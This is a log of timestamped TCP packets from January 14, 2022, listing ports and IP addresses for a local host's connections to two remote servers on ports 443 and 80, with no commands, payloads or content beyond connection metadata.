Jan 14, 2022 12:30:09.150274992 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.150360107 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.150441885 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.150487900 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.150509119 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.150536060 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.150552988 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.179763079 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.179790020 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.179807901 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.179830074 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.179898977 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.179908037 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.179941893 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.179949999 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.179955006 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.180006981 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.180035114 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.180054903 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.180061102 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.180087090 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.180104017 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.180110931 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.180124044 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.180139065 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.180155039 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.180180073 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.180186987 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.180205107 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.180212021 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.180219889 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.180279016 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.180289984 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.180300951 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.180330992 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.180336952 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.180350065 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.180356979 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.180383921 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.180387974 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.180413961 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.180428982 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.180445910 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.180471897 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.180501938 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.201174021 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.201204062 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.201235056 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.201247931 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.201323986 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.201340914 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.201374054 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.201442003 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.201494932 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.201536894 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.201566935 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.201576948 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.201592922 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.201627016 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.201666117 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.201702118 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.201713085 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.201742887 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.201761007 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.201775074 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.201806068 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.201833963 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.201900959 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.201922894 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.201939106 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.201966047 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.201986074 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.202018023 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.202028036 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.202048063 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.202075005 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.202126980 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.202159882 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.202171087 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.202193022 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.202218056 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.202254057 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.202286005 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.202296972 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.202311993 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.202338934 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.202375889 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.202399969 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.202410936 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.202425003 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.202447891 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.202478886 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.202517986 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.202543974 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.202554941 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.202568054 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.202580929 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.202867031 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.202907085 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.202940941 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.202954054 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.202977896 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.234635115 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.234657049 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.234673977 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.234719038 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.234740019 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.234750032 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.234760046 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.234803915 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.234810114 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.234818935 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.234843016 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.234857082 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.234863997 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.234882116 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.234898090 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.234905005 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.234941006 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.234958887 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.234968901 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.234982014 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.235003948 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.235047102 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.311549902 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.311589003 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.311621904 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.311676025 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.311733961 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.311753988 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.311775923 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.311800003 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.311809063 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.311851978 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.311865091 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.311882019 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.311918020 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.311930895 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.311961889 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.311971903 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.311985016 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.312000990 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.312007904 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.312050104 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.312112093 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.312128067 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.312144041 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.312186956 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.312208891 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.312242985 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.312299013 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.312315941 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.312365055 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.357506990 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.357538939 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.357572079 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.357733011 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.357747078 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.357763052 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.357815027 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.357827902 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.357870102 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.357878923 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.357892036 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.357902050 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.357908964 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.357914925 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.357923031 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.357983112 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.358021021 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.358079910 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.358135939 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.390377045 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.390398979 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.390423059 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.390439034 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.390533924 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.390541077 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.390595913 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.390603065 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.390618086 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.390656948 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.390664101 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.390681982 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.390712976 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.390743017 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.390768051 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.390790939 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.390836954 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.492053986 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.492074966 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.492103100 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.492109060 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.492225885 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.492238998 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.492296934 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.492304087 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.492361069 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.492403984 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.530684948 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.530704975 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.530730963 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.530750036 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.530852079 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.530858994 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.530889988 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.530930996 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.530941963 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.530953884 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.531002045 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.531009912 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.531054974 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.531109095 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.637350082 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.637372971 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.637392044 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.637414932 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.637424946 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.637495995 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.637578011 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.637587070 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.637629986 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.637634993 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.637669086 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.637717009 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.637772083 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.701585054 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.701603889 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.701618910 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.701637030 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.701642990 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.701652050 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.701792002 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.701920986 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.794491053 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.901609898 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.983959913 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.983987093 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.984034061 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.984040976 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:11.244787931 CET	49893	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.262032986 CET	80	49893	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.262322903 CET	49893	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.263684034 CET	49893	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.264415979 CET	49893	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.281446934 CET	80	49893	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.281904936 CET	80	49893	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.384854078 CET	80	49893	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.384978056 CET	49893	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.385188103 CET	49893	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.404892921 CET	80	49893	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.420845032 CET	49894	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.438062906 CET	80	49894	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.438158989 CET	49894	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.438254118 CET	49894	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.438277960 CET	49894	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.455517054 CET	80	49894	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.553998947 CET	80	49894	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.554181099 CET	49894	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.554297924 CET	49894	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.571685076 CET	80	49894	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.584235907 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.602006912 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.602112055 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.602236986 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.661555052 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.704211950 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.704232931 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.704248905 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.704263926 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.704276085 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.704288006 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.704304934 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.704320908 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.704328060 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.704338074 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.704355955 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.704386950 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.704399109 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.704406023 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.722049952 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743546963 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743566036 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743581057 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743592978 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743604898 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743627071 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743630886 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.743643999 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743660927 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743671894 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.743678093 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743696928 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743705034 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.743714094 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743721008 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.743731022 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743747950 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743765116 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743772984 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.743782997 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743787050 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.743799925 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743818045 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743834972 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.743841887 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.743879080 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.761313915 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.761353970 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.761382103 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.761409998 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.761454105 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.761590958 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.782601118 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.782645941 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.782682896 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.782715082 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.782722950 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.782758951 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.782762051 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.782799959 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.782824993 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.782845974 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.782885075 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.782911062 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.782923937 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.782965899 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.782973051 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.783001900 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783041954 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783057928 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.783080101 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783123016 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783130884 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.783162117 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783200026 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783209085 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.783241987 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783284903 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.783294916 CET	49896	80	192.168.2.4	8.209.70.0
